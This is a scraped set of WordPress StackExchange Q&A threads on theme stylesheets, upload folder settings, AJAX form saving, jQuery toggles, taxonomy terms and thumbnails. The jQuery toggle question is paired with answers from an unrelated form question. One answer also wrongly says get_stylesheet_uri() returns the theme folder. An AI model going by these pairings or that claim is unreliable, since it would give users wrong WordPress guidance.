<p>I'm brand new at theme development. My css stylesheet is not loading, and I'm not sure if the problem is in the functions.php, style.css, index.php, header.php, or footer.php file. I've added a div class "post-title" in index.php, which should change the font color of my posts, but right now it's not doing that. My code is below:</p> <p><strong>functions.php:</strong></p> <pre><code> &lt;?php function link_css_stylesheet() { wp_enqueue_style('style', get_stylesheet_uri()); } add_action('wp_enqueue_scripts', 'link_css_stylesheet'); ?&gt; </code></pre> <p><strong>style.css:</strong></p> <pre><code> /* Theme Name: Richard Theme Name Theme URI: http://www.intechio.com/themes/Richard-Theme Author: Richard Author URI: https://intechio.com Description: Theme project. Version: 1.0 */ .post-title { color : rgb(0,100,0); } </code></pre> <p><strong>index.php:</strong></p> <pre><code> &lt;?php get_header(); ?&gt; &lt;div class="post-title"&gt; &lt;?php if (have_posts()) : while (have_posts()) : the_post(); the_title(); the_excerpt(); endwhile; else: echo "No posts."; endif; ?&gt; &lt;/div&gt; &lt;?php get_footer(); ?&gt; </code></pre> <p><strong>header.php:</strong></p> <pre><code> &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset=”&lt;?php bloginfo(‘charset’); ?&gt; &lt;title&gt;&lt;?php wp_title(); ?&gt; | &lt;?php bloginfo('name'); ?&gt;&lt;/title&gt; &lt;meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0"&gt; &lt;?php wp_head(); ?&gt; &lt;/head&gt; &lt;body &lt;?php body_class(); ?&gt;&gt; &lt;h1&gt;&lt;?php bloginfo(‘name’); ?&gt;&lt;/h1&gt; &lt;h2&gt;&lt;?php bloginfo(‘description’); ?&gt;&lt;/h2&gt; </code></pre> <p><strong>footer.php:</strong></p> <pre><code> &lt;p&gt;this is a footer&lt;/p&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>Thank you in advance for any tips you might be able to offer.</p>
[ { "answer_id": 284972, "author": "Venkatesh", "author_id": 124538, "author_profile": "https://wordpress.stackexchange.com/users/124538", "pm_score": 2, "selected": false, "text": "<p>I have tried to create WordPress theme using your functions.php, style.css and index.php and for me, the stylesheet is loading correctly. Please make sure you have added your header.php and footer.php for the theme.\nPlease study some tutorials for theme development on WordPress.You can look at this link <a href=\"https://codex.wordpress.org/Theme_Development\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Theme_Development</a>\nfor detailed information.</p>\n" }, { "answer_id": 284980, "author": "Alexander Holsgrove", "author_id": 48962, "author_profile": "https://wordpress.stackexchange.com/users/48962", "pm_score": 1, "selected": false, "text": "<p>It's likely that your header.php file doesn't include:</p>\n\n<pre><code>&lt;?php wp_head(); ?&gt; \n</code></pre>\n\n<p>This function will add the HTML markup to include your CSS file.</p>\n" }, { "answer_id": 284996, "author": "dimery2006", "author_id": 130864, "author_profile": "https://wordpress.stackexchange.com/users/130864", "pm_score": 2, "selected": false, "text": "<p>It turns out there was nothing wrong with my code. The problem lies in the browser (Chrome) not refreshing the css styles. I initially thought the stylesheet was not loading, but in fact the browser was simply needing a refresh. \n The solution is to force a cache refresh by typing Ctrl + F5. Thanks to all of you for the help!</p>\n" }, { "answer_id": 321102, "author": "Hector", "author_id": 48376, "author_profile": "https://wordpress.stackexchange.com/users/48376", "pm_score": 1, "selected": false, "text": "<p>I have created a simple WordPress theme using your codes and i see that your style is working correctly.</p>\n\n<p>But there is some syntax issue in <code>header.php</code> file.</p>\n\n<pre><code> &lt;meta charset=\"&lt;?php bloginfo('charset'); ?&gt;\n</code></pre>\n\n<p>You have missed a <code>&gt;</code> to close <code>meta</code> tag and a <code>\"</code> to close <code>charset</code>.\nCorrect one is:</p>\n\n<pre><code> &lt;meta charset=\"&lt;?php bloginfo('charset'); ?&gt; \"&gt;\n</code></pre>\n\n<p>Also in order to avoid further issues, please check <a href=\"https://codex.wordpress.org/Theme_Development\" rel=\"nofollow noreferrer\">WordPress theme development documentations</a>.</p>\n\n<p>Just as a quick guides, You need to use <code>wp_footer()</code> function in <code>footer.php</code>.</p>\n\n<p>Also avoid using <code>?&gt;</code> at the end of file. because any character after it will cause <code>headers already sent</code> error and you may see only a blank page.</p>\n" }, { "answer_id": 321119, "author": "Liam Stewart", "author_id": 121955, "author_profile": "https://wordpress.stackexchange.com/users/121955", "pm_score": 1, "selected": false, "text": "<p><code>wp_enqueue_style('style', get_stylesheet_uri());</code></p>\n\n<p>Does not return <code>style.css</code></p>\n\n<p>It returns the theme folder.</p>\n\n<p>Try something like this:</p>\n\n<pre><code>function link_css_stylesheet() {\n wp_enqueue_style('style', get_bloginfo('template_directory').'/style.css');\n}\nadd_action('wp_head', 'link_css_stylesheet');\n</code></pre>\n" } ]
2017/11/04
[ "https://wordpress.stackexchange.com/questions/284960", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130864/" ]
I'm brand new at theme development. My css stylesheet is not loading, and I'm not sure if the problem is in the functions.php, style.css, index.php, header.php, or footer.php file. I've added a div class "post-title" in index.php, which should change the font color of my posts, but right now it's not doing that. My code is below: **functions.php:** ``` <?php function link_css_stylesheet() { wp_enqueue_style('style', get_stylesheet_uri()); } add_action('wp_enqueue_scripts', 'link_css_stylesheet'); ?> ``` **style.css:** ``` /* Theme Name: Richard Theme Name Theme URI: http://www.intechio.com/themes/Richard-Theme Author: Richard Author URI: https://intechio.com Description: Theme project. Version: 1.0 */ .post-title { color : rgb(0,100,0); } ``` **index.php:** ``` <?php get_header(); ?> <div class="post-title"> <?php if (have_posts()) : while (have_posts()) : the_post(); the_title(); the_excerpt(); endwhile; else: echo "No posts."; endif; ?> </div> <?php get_footer(); ?> ``` **header.php:** ``` <!DOCTYPE html> <html> <head> <meta charset=”<?php bloginfo(‘charset’); ?> <title><?php wp_title(); ?> | <?php bloginfo('name'); ?></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0"> <?php wp_head(); ?> </head> <body <?php body_class(); ?>> <h1><?php bloginfo(‘name’); ?></h1> <h2><?php bloginfo(‘description’); ?></h2> ``` **footer.php:** ``` <p>this is a footer</p> </body> </html> ``` Thank you in advance for any tips you might be able to offer.
I have tried to create WordPress theme using your functions.php, style.css and index.php and for me, the stylesheet is loading correctly. Please make sure you have added your header.php and footer.php for the theme. Please study some tutorials for theme development on WordPress.You can look at this link <https://codex.wordpress.org/Theme_Development> for detailed information.
284,961
<p>Prior to version 3.5 (or thereabouts), WP had a checkbox to select if all uploaded media went into sub-folders of /uploads, named by month and year. If checkbox was unchecked, all media ended up in one folder - no subfolders.</p> <p>How can I restore that feature? I.e., I want all my media to go into one folder and NOT be further divided into year and month. Is there some easy programmatic way to achieve that? Or is there some reliable plugin to do the job?</p> <p>Thanks!</p>
[ { "answer_id": 284970, "author": "jaswrks", "author_id": 81760, "author_profile": "https://wordpress.stackexchange.com/users/81760", "pm_score": 3, "selected": true, "text": "<p>Pop this tiny code snippet into a file located here:<br>\n<code>wp-content/mu-plugins/upload-dir.php</code> (a <a href=\"https://codex.wordpress.org/Must_Use_Plugins\" rel=\"nofollow noreferrer\">must use plugin</a> file).<br>\n<em>Create the <code>mu-plugins</code> directory if it does not exist already.</em></p>\n\n<pre><code>&lt;?php\nadd_filter( 'pre_option_uploads_use_yearmonth_folders', '__return_zero');\n</code></pre>\n\n<p>What you're doing here is filtering an option value at runtime, which is picked up internally by <a href=\"https://developer.wordpress.org/reference/functions/_wp_upload_dir/\" rel=\"nofollow noreferrer\"><code>_wp_upload_dir()</code></a> and therefore uploads are no longer nested into date-based subdirectories.</p>\n" }, { "answer_id": 284979, "author": "Alexander Holsgrove", "author_id": 48962, "author_profile": "https://wordpress.stackexchange.com/users/48962", "pm_score": 2, "selected": false, "text": "<p>Can you not just un-tick the box in Admin -> Settings -> Media:</p>\n\n<p><a href=\"https://i.stack.imgur.com/xfDFK.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xfDFK.png\" alt=\"Wordpress media settings\"></a></p>\n" }, { "answer_id": 413638, "author": "Flo", "author_id": 229827, "author_profile": "https://wordpress.stackexchange.com/users/229827", "pm_score": 1, "selected": false, "text": "<p>This is an screenshot from WordPress 6.1.1:</p>\n<p><a href=\"https://i.stack.imgur.com/9BJ9V.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/9BJ9V.png\" alt=\"WordPress admin media settings\" /></a></p>\n<p>I can confirm that even with version 6.1.1, <a href=\"https://wordpress.stackexchange.com/a/284979/110572\">Alexander's solution</a> works perfectly.</p>\n<p>So there must be some issue on the OP's own settings. WordPress still has this Settings in the admin panel to enable or disable month- and year-based folders.</p>\n" } ]
2017/11/04
[ "https://wordpress.stackexchange.com/questions/284961", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130896/" ]
Prior to version 3.5 (or thereabouts), WP had a checkbox to select if all uploaded media went into sub-folders of /uploads, named by month and year. If checkbox was unchecked, all media ended up in one folder - no subfolders. How can I restore that feature? I.e., I want all my media to go into one folder and NOT be further divided into year and month. Is there some easy programmatic way to achieve that? Or is there some reliable plugin to do the job? Thanks!
Pop this tiny code snippet into a file located here: `wp-content/mu-plugins/upload-dir.php` (a [must use plugin](https://codex.wordpress.org/Must_Use_Plugins) file). *Create the `mu-plugins` directory if it does not exist already.* ``` <?php add_filter( 'pre_option_uploads_use_yearmonth_folders', '__return_zero'); ``` What you're doing here is filtering an option value at runtime, which is picked up internally by [`_wp_upload_dir()`](https://developer.wordpress.org/reference/functions/_wp_upload_dir/) and therefore uploads are no longer nested into date-based subdirectories.
284,975
<p>Is there a way to simply have a form in a page that the user can fill in and on submit continually populate a table directly underneath the the submit button.</p> <p>This information must also be saved/stored so that when the user comes back the previous posts are there</p> <p>Im not sure I know how to do what was explained.</p> <p>This is my form, works fine</p> <pre><code>&lt;form id="myForm" action="" method="post" target="_parent"&gt; &lt;p&gt;Date: &lt;input type="date" cf_name="Date" value="" maxlength="25" size="60"&gt; Weight: &lt;input type="text" cf_name="Weight" value="" maxlength="25" size="60"&gt; &lt;/p&gt; &lt;p&gt;Comments: &lt;input type="text" cf_name="comments" value="" maxlength="200" size="60"&gt; &lt;/p&gt; &lt;p&gt;Insert Picture (optional): &lt;input type="text" cf_name="pic1" value="" maxlength="200" size="60"&gt; &lt;/p&gt; &lt;p&gt; &lt;input id="submit" type="button" value="Submit" cf_name="submit"&gt; &lt;input type="button" cf_name="cancel" value="Cancel" onClick="closebox()"&gt; &lt;/p&gt; &lt;/form&gt; &lt;table id="details"&gt;&lt;/table&gt; </code></pre>
[ { "answer_id": 284977, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 1, "selected": false, "text": "<p>You can have an <strong>ajax</strong> action that sent the data to the <strong>backend</strong> populate the table and return the success or the errors back.</p>\n\n<p>You can use this actions </p>\n\n<pre><code>add_action('wp_ajax_*', 'custom_table_insert');\nadd_action('wp_ajax_nopriv_*', 'custom_table_insert'); // anonymous users\n</code></pre>\n\n<p>This will give you more control and ultimately a far better user experience.\n// Ajax Request template</p>\n\n<pre><code>jQuery.ajax({\n url : your_settings_object.ajax_url,\n type : 'post',\n data : {\n action : 'wp_ajax_*',\n table_content : table_content\n },\n success : function( response ) {\n alert(response)\n }\n });\n</code></pre>\n\n<p>Note: your_settings_object is a custom object that use to transfer global variables from backend to JS\nAlso the table_content is your variable to pass the data and you can take them from the PHP with <code>$_POST['table_content']</code></p>\n" }, { "answer_id": 284991, "author": "Rick Hellewell", "author_id": 29416, "author_profile": "https://wordpress.stackexchange.com/users/29416", "pm_score": 0, "selected": false, "text": "<p>Ask the googles about 'how to post to the same page'. Using that information, you will test for a the posting action and then populate the form fields with the posted information.</p>\n\n<p>But with WP, you will also need to create a custom template to do this action. (With a non-WP site, you would just need the code for that page.) You'll need to understand Custom Templates; there are many tutorials about that, one is here <a href=\"http://www.wpbeginner.com/wp-themes/how-to-create-a-custom-page-in-wordpress/\" rel=\"nofollow noreferrer\">http://www.wpbeginner.com/wp-themes/how-to-create-a-custom-page-in-wordpress/</a> ). </p>\n\n<p>A bit of research will help you figure this out. There is not a simple process; but it is an enjoyable learning experience for this geek. </p>\n" } ]
2017/11/04
[ "https://wordpress.stackexchange.com/questions/284975", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130887/" ]
Is there a way to simply have a form in a page that the user can fill in and on submit continually populate a table directly underneath the the submit button. This information must also be saved/stored so that when the user comes back the previous posts are there Im not sure I know how to do what was explained. This is my form, works fine ``` <form id="myForm" action="" method="post" target="_parent"> <p>Date: <input type="date" cf_name="Date" value="" maxlength="25" size="60"> Weight: <input type="text" cf_name="Weight" value="" maxlength="25" size="60"> </p> <p>Comments: <input type="text" cf_name="comments" value="" maxlength="200" size="60"> </p> <p>Insert Picture (optional): <input type="text" cf_name="pic1" value="" maxlength="200" size="60"> </p> <p> <input id="submit" type="button" value="Submit" cf_name="submit"> <input type="button" cf_name="cancel" value="Cancel" onClick="closebox()"> </p> </form> <table id="details"></table> ```
You can have an **ajax** action that sent the data to the **backend** populate the table and return the success or the errors back. You can use this actions ``` add_action('wp_ajax_*', 'custom_table_insert'); add_action('wp_ajax_nopriv_*', 'custom_table_insert'); // anonymous users ``` This will give you more control and ultimately a far better user experience. // Ajax Request template ``` jQuery.ajax({ url : your_settings_object.ajax_url, type : 'post', data : { action : 'wp_ajax_*', table_content : table_content }, success : function( response ) { alert(response) } }); ``` Note: your\_settings\_object is a custom object that use to transfer global variables from backend to JS Also the table\_content is your variable to pass the data and you can take them from the PHP with `$_POST['table_content']`
284,997
<p>EDIT - This is solved thank you for your help after the suggestions below didn't solve the problem I refreshed my browser cashe and now my functions work... However I then realized they only work on the home page. creating a separate thread for that. Thank you for you help!!!</p> <p>the new thread is here <a href="https://wordpress.stackexchange.com/questions/285006/jquery-functions-only-work-on-homepage">jQuery functions only work on homepage</a></p> <p>I am trying to make an text-decoration:underline; on active function on a p span "spanish | english" in WordPress. I got it working here in this jsfiddle <a href="https://jsfiddle.net/TonyTheOnly/k92ayp24/" rel="nofollow noreferrer">https://jsfiddle.net/TonyTheOnly/k92ayp24/</a></p> <p>Same html and css as in the jsfiddle and here is the jQuery i am using for WP.</p> <pre><code> jQuery(document).ready(function () { "use strict"; jQuery('.toggles span').click(function () { jQuery(".toggles span").removeClass("active"); jQuery(this).addClass("active"); }); }); </code></pre> <p>Any Help is greatly appreciated and thank you for your time.</p> <p>EDIT</p> <p>here is my full functions</p> <pre><code>&lt;?php function paramo_script_enqueue() { wp_enqueue_style('customstyle', get_template_directory_uri() . '/css/paramo.css', array(), '1.0.0', 'all'); wp_enqueue_script('customjs', get_template_directory_uri() . '/js/paramo.js', array('jquery'), '1.0.0', true); } add_action('wp_enqueue_scripts', 'paramo_script_enqueue'); function paramo_theme_setup() { add_theme_support('menus'); register_nav_menu('primary', 'Primary Header Navigation'); register_nav_menu('secondary', 'Footer Navigation'); } add_action('init', 'paramo_theme_setup'); add_theme_support('custom-header'); function enqueue_our_required_stylesheets(){ wp_enqueue_style('font-awesome', get_stylesheet_directory_uri() . '/css/font-awesome.css'); } add_action('wp_enqueue_scripts','enqueue_our_required_stylesheets'); </code></pre> <p>Full.js file</p> <pre><code>/*global $, jQuery, alert*/ jQuery.noConflict(); jQuery(document).ready(function () { "use strict"; jQuery(".burger-nav").on("click", function () { jQuery("nav ul").toggleClass("open"); }); jQuery(".spanish").on("click", function () { jQuery(".englishNav").hide(); jQuery(".spanishNav").show(); }); jQuery(".english").on("click", function () { jQuery(".englishNav").show(); jQuery(".spanishNav").hide(); }); jQuery('.toggles span').click(function () { jQuery(".toggles span").removeClass("active"); jQuery(this).addClass("active"); }); }); </code></pre> <p>full header</p> <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset="UTF-8"&gt; &lt;meta http-equiv="X-UA-Compatible" content="IE=edge"&gt; &lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt; &lt;title&gt;Paramo Galeria&lt;/title&gt; &lt;?php wp_head(); ?&gt; &lt;/head&gt; &lt;body &lt;?php body_class( $awesome_classes ); ?&gt;&gt; &lt;section&gt; &lt;div class="topBar"&gt; &lt;img src="&lt;?php header_image();?&gt;" height="120px;" width="100px;" alt=""/ class="siteLogo"&gt; &lt;div class="topBarMiddle"&gt; &lt;p class="toggles"&gt;&lt;span class="spanish"&gt;español&lt;/span&gt; | &lt;span class="english"&gt;english&lt;/span&gt;&lt;/p&gt; &lt;div class="topBarRight"&gt; &lt;nav&gt; &lt;a class="burger-nav"&gt;&lt;/a&gt; &lt;ul class="englishNav"&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/home"&gt;Home&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/artists"&gt;Artists&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/exhibitions"&gt;Exhibitions&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/offsite"&gt;Offsite&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/shop"&gt;Shop&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/contact"&gt; Contact&lt;/a&gt;&lt;/li&gt; &lt;li style="padding-top:50px;"&gt;&lt;i class="fa fa-facebook fa-1.5x" style="padding-right:10px;"&gt;&lt;/i&gt;&lt;i class="fa fa-instagram fa-1.5x" style="padding-right:10px;"&gt;&lt;/i&gt;&lt;i class="fa fa-twitter fa-1.5x"&gt;&lt;/i&gt;&lt;/li&gt; &lt;/ul&gt; &lt;ul class="spanishNav"&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/home"&gt;Home&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/artists"&gt;Artistsio&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/exhibitions"&gt;Exhibitions&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/offsite"&gt;Offsite&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/shop"&gt;Shop&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/contact"&gt; Contact&lt;/a&gt;&lt;/li&gt; &lt;li style="padding-top:50px;"&gt;&lt;i class="fa fa-facebook fa-1.5x" style="padding-right:10px;"&gt;&lt;/i&gt;&lt;i class="fa fa-instagram fa-1.5x" style="padding-right:10px;"&gt;&lt;/i&gt;&lt;i class="fa fa-twitter fa-1.5x"&gt;&lt;/i&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/nav&gt; &lt;/div&gt; &lt;/div&gt; &lt;/section&gt; </code></pre> <p>index </p> <pre><code>&lt;?php get_header(); ?&gt; &lt;?php if( have_posts() ): while( have_posts() ): the_post(); ?&gt; &lt;p&gt;&lt;?php the_content(); ?&gt;&lt;/p&gt; &lt;?php endwhile; endif; ?&gt; &lt;?php get_footer(); ?&gt; </code></pre>
[ { "answer_id": 284977, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 1, "selected": false, "text": "<p>You can have an <strong>ajax</strong> action that sent the data to the <strong>backend</strong> populate the table and return the success or the errors back.</p>\n\n<p>You can use this actions </p>\n\n<pre><code>add_action('wp_ajax_*', 'custom_table_insert');\nadd_action('wp_ajax_nopriv_*', 'custom_table_insert'); // anonymous users\n</code></pre>\n\n<p>This will give you more control and ultimately a far better user experience.\n// Ajax Request template</p>\n\n<pre><code>jQuery.ajax({\n url : your_settings_object.ajax_url,\n type : 'post',\n data : {\n action : 'wp_ajax_*',\n table_content : table_content\n },\n success : function( response ) {\n alert(response)\n }\n });\n</code></pre>\n\n<p>Note: your_settings_object is a custom object that use to transfer global variables from backend to JS\nAlso the table_content is your variable to pass the data and you can take them from the PHP with <code>$_POST['table_content']</code></p>\n" }, { "answer_id": 284991, "author": "Rick Hellewell", "author_id": 29416, "author_profile": "https://wordpress.stackexchange.com/users/29416", "pm_score": 0, "selected": false, "text": "<p>Ask the googles about 'how to post to the same page'. Using that information, you will test for a the posting action and then populate the form fields with the posted information.</p>\n\n<p>But with WP, you will also need to create a custom template to do this action. (With a non-WP site, you would just need the code for that page.) You'll need to understand Custom Templates; there are many tutorials about that, one is here <a href=\"http://www.wpbeginner.com/wp-themes/how-to-create-a-custom-page-in-wordpress/\" rel=\"nofollow noreferrer\">http://www.wpbeginner.com/wp-themes/how-to-create-a-custom-page-in-wordpress/</a> ). </p>\n\n<p>A bit of research will help you figure this out. There is not a simple process; but it is an enjoyable learning experience for this geek. </p>\n" } ]
2017/11/05
[ "https://wordpress.stackexchange.com/questions/284997", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130812/" ]
EDIT - This is solved thank you for your help after the suggestions below didn't solve the problem I refreshed my browser cashe and now my functions work... However I then realized they only work on the home page. creating a separate thread for that. Thank you for you help!!! the new thread is here [jQuery functions only work on homepage](https://wordpress.stackexchange.com/questions/285006/jquery-functions-only-work-on-homepage) I am trying to make an text-decoration:underline; on active function on a p span "spanish | english" in WordPress. I got it working here in this jsfiddle <https://jsfiddle.net/TonyTheOnly/k92ayp24/> Same html and css as in the jsfiddle and here is the jQuery i am using for WP. ``` jQuery(document).ready(function () { "use strict"; jQuery('.toggles span').click(function () { jQuery(".toggles span").removeClass("active"); jQuery(this).addClass("active"); }); }); ``` Any Help is greatly appreciated and thank you for your time. EDIT here is my full functions ``` <?php function paramo_script_enqueue() { wp_enqueue_style('customstyle', get_template_directory_uri() . '/css/paramo.css', array(), '1.0.0', 'all'); wp_enqueue_script('customjs', get_template_directory_uri() . '/js/paramo.js', array('jquery'), '1.0.0', true); } add_action('wp_enqueue_scripts', 'paramo_script_enqueue'); function paramo_theme_setup() { add_theme_support('menus'); register_nav_menu('primary', 'Primary Header Navigation'); register_nav_menu('secondary', 'Footer Navigation'); } add_action('init', 'paramo_theme_setup'); add_theme_support('custom-header'); function enqueue_our_required_stylesheets(){ wp_enqueue_style('font-awesome', get_stylesheet_directory_uri() . '/css/font-awesome.css'); } add_action('wp_enqueue_scripts','enqueue_our_required_stylesheets'); ``` Full.js file ``` /*global $, jQuery, alert*/ jQuery.noConflict(); jQuery(document).ready(function () { "use strict"; jQuery(".burger-nav").on("click", function () { jQuery("nav ul").toggleClass("open"); }); jQuery(".spanish").on("click", function () { jQuery(".englishNav").hide(); jQuery(".spanishNav").show(); }); jQuery(".english").on("click", function () { jQuery(".englishNav").show(); jQuery(".spanishNav").hide(); }); jQuery('.toggles span').click(function () { jQuery(".toggles span").removeClass("active"); jQuery(this).addClass("active"); }); }); ``` full header ``` <!doctype html> <html> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Paramo Galeria</title> <?php wp_head(); ?> </head> <body <?php body_class( $awesome_classes ); ?>> <section> <div class="topBar"> <img src="<?php header_image();?>" height="120px;" width="100px;" alt=""/ class="siteLogo"> <div class="topBarMiddle"> <p class="toggles"><span class="spanish">español</span> | <span class="english">english</span></p> <div class="topBarRight"> <nav> <a class="burger-nav"></a> <ul class="englishNav"> <li><a href="http://localhost:8888/ParamoGaleria/home">Home</a></li> <li><a href="http://localhost:8888/ParamoGaleria/artists">Artists</a></li> <li><a href="http://localhost:8888/ParamoGaleria/exhibitions">Exhibitions</a></li> <li><a href="http://localhost:8888/ParamoGaleria/offsite">Offsite</a></li> <li><a href="http://localhost:8888/ParamoGaleria/shop">Shop</a></li> <li><a href="http://localhost:8888/ParamoGaleria/contact"> Contact</a></li> <li style="padding-top:50px;"><i class="fa fa-facebook fa-1.5x" style="padding-right:10px;"></i><i class="fa fa-instagram fa-1.5x" style="padding-right:10px;"></i><i class="fa fa-twitter fa-1.5x"></i></li> </ul> <ul class="spanishNav"> <li><a href="http://localhost:8888/ParamoGaleria/home">Home</a></li> <li><a href="http://localhost:8888/ParamoGaleria/artists">Artistsio</a></li> <li><a href="http://localhost:8888/ParamoGaleria/exhibitions">Exhibitions</a></li> <li><a href="http://localhost:8888/ParamoGaleria/offsite">Offsite</a></li> <li><a href="http://localhost:8888/ParamoGaleria/shop">Shop</a></li> <li><a href="http://localhost:8888/ParamoGaleria/contact"> Contact</a></li> <li style="padding-top:50px;"><i class="fa fa-facebook fa-1.5x" style="padding-right:10px;"></i><i class="fa fa-instagram fa-1.5x" style="padding-right:10px;"></i><i class="fa fa-twitter fa-1.5x"></i></li> </ul> </nav> </div> </div> </section> ``` index ``` <?php get_header(); ?> <?php if( have_posts() ): while( have_posts() ): the_post(); ?> <p><?php the_content(); ?></p> <?php endwhile; endif; ?> <?php get_footer(); ?> ```
You can have an **ajax** action that sent the data to the **backend** populate the table and return the success or the errors back. You can use this actions ``` add_action('wp_ajax_*', 'custom_table_insert'); add_action('wp_ajax_nopriv_*', 'custom_table_insert'); // anonymous users ``` This will give you more control and ultimately a far better user experience. // Ajax Request template ``` jQuery.ajax({ url : your_settings_object.ajax_url, type : 'post', data : { action : 'wp_ajax_*', table_content : table_content }, success : function( response ) { alert(response) } }); ``` Note: your\_settings\_object is a custom object that use to transfer global variables from backend to JS Also the table\_content is your variable to pass the data and you can take them from the PHP with `$_POST['table_content']`
285,021
<p>I use the get_post_term code from <a href="https://codex.wordpress.org/Function_Reference/wp_get_post_terms" rel="nofollow noreferrer">https://codex.wordpress.org/Function_Reference/wp_get_post_terms</a>. I can retrieve the selected taxonomy term from the current post but the displayed value looks like this: Array ( [0] => Taxonomy Term). I only want the taxonomy term in the frontend.</p> <p><code>//Returns Array of Term Names for "my_taxonomy" $term_list = wp_get_post_terms($post-&gt;ID, 'my_taxonomy', array("fields" =&gt; "names")); print_r($term_list);</code></p> <p>Does someone know how to only display the selected taxonomy term?</p>
[ { "answer_id": 285098, "author": "Moe", "author_id": 130914, "author_profile": "https://wordpress.stackexchange.com/users/130914", "pm_score": 0, "selected": false, "text": "<p>It works with this code to show only the name, however the output is displayed in small characters so I only need to capitalize it somehow</p>\n\n<p><code>&lt;?php // Get terms for post\n $terms = get_the_terms( $post-&gt;ID , 'my_taxonomy' );\n // Loop over each item since it's an array\n if ( $terms != null ){\n foreach( $terms as $term ) {\n // Print the name method from $term which is an OBJECT\n print $term-&gt;slug ;\n // Get rid of the other data stored in the object, since it's not needed\n unset($term);\n} } ?&gt;</code></p>\n" }, { "answer_id": 285099, "author": "omukiguy", "author_id": 102683, "author_profile": "https://wordpress.stackexchange.com/users/102683", "pm_score": 1, "selected": false, "text": "<p>Assuming the taxonomy name is \"animals\"</p>\n\n<pre><code>&lt;?php\n //This will show all the terms in taxonomy whether they have posts or not thus the \"hide_empty\"\n $terms = get_terms( array ( 'taxonomy' =&gt; 'animals', 'hide_empty' =&gt; false, 'parent' =&gt; 0, 'orderby' =&gt; 'description', 'order' =&gt; 'ASC' ));\n\n foreach ($terms as $term) {\n // The $term is an object, so we can get the names.\n //use var_dump($term) to see other options available\n echo $name = $term-&gt;name;\n }\n?&gt;\n</code></pre>\n" }, { "answer_id": 285100, "author": "jaswrks", "author_id": 81760, "author_profile": "https://wordpress.stackexchange.com/users/81760", "pm_score": 1, "selected": false, "text": "<p>The <a href=\"https://developer.wordpress.org/reference/functions/wp_get_post_terms/\" rel=\"nofollow noreferrer\"><code>wp_get_post_terms()</code> function</a> returns one or more term names when you call it with <code>array( 'fields' =&gt; 'names' )</code>. So you have a few different options available to you.</p>\n\n<p>Grab the first term name that was found.</p>\n\n<pre><code>&lt;?php\n$term_names = wp_get_post_terms($post-&gt;ID, 'my_taxonomy', array('fields' =&gt; 'names'));\n\nif ( ! empty( $term_names ) ) {\n echo $term_names[0]; // Cats\n}\n</code></pre>\n\n<p>Or, you can implode the list of term names and show them in comma-delimited format.</p>\n\n<pre><code>&lt;?php\n$term_names = wp_get_post_terms($post-&gt;ID, 'my_taxonomy', array('fields' =&gt; 'names'));\n\necho implode(', ', $term_names); // Cats, Pets, Animals\n</code></pre>\n\n<p>Or, you can iterate through the list and do something else.</p>\n\n<pre><code>&lt;?php\n$term_names = wp_get_post_terms($post-&gt;ID, 'my_taxonomy', array('fields' =&gt; 'names'));\n\nforeach( $term_names as $name ) {\n echo $name.'&lt;br /&gt;';\n}\n</code></pre>\n" } ]
2017/11/05
[ "https://wordpress.stackexchange.com/questions/285021", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130914/" ]
I use the get\_post\_term code from <https://codex.wordpress.org/Function_Reference/wp_get_post_terms>. I can retrieve the selected taxonomy term from the current post but the displayed value looks like this: Array ( [0] => Taxonomy Term). I only want the taxonomy term in the frontend. `//Returns Array of Term Names for "my_taxonomy" $term_list = wp_get_post_terms($post->ID, 'my_taxonomy', array("fields" => "names")); print_r($term_list);` Does someone know how to only display the selected taxonomy term?
Assuming the taxonomy name is "animals" ``` <?php //This will show all the terms in taxonomy whether they have posts or not thus the "hide_empty" $terms = get_terms( array ( 'taxonomy' => 'animals', 'hide_empty' => false, 'parent' => 0, 'orderby' => 'description', 'order' => 'ASC' )); foreach ($terms as $term) { // The $term is an object, so we can get the names. //use var_dump($term) to see other options available echo $name = $term->name; } ?> ```
285,022
<p>I am using 2017 theme and I want to thumbnail to the posts which appears on my site homepage, thumbnail appearing when we visit post but doesn't appear on homepage<a href="https://i.stack.imgur.com/rcRwy.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/rcRwy.jpg" alt="enter image description here"></a></p>
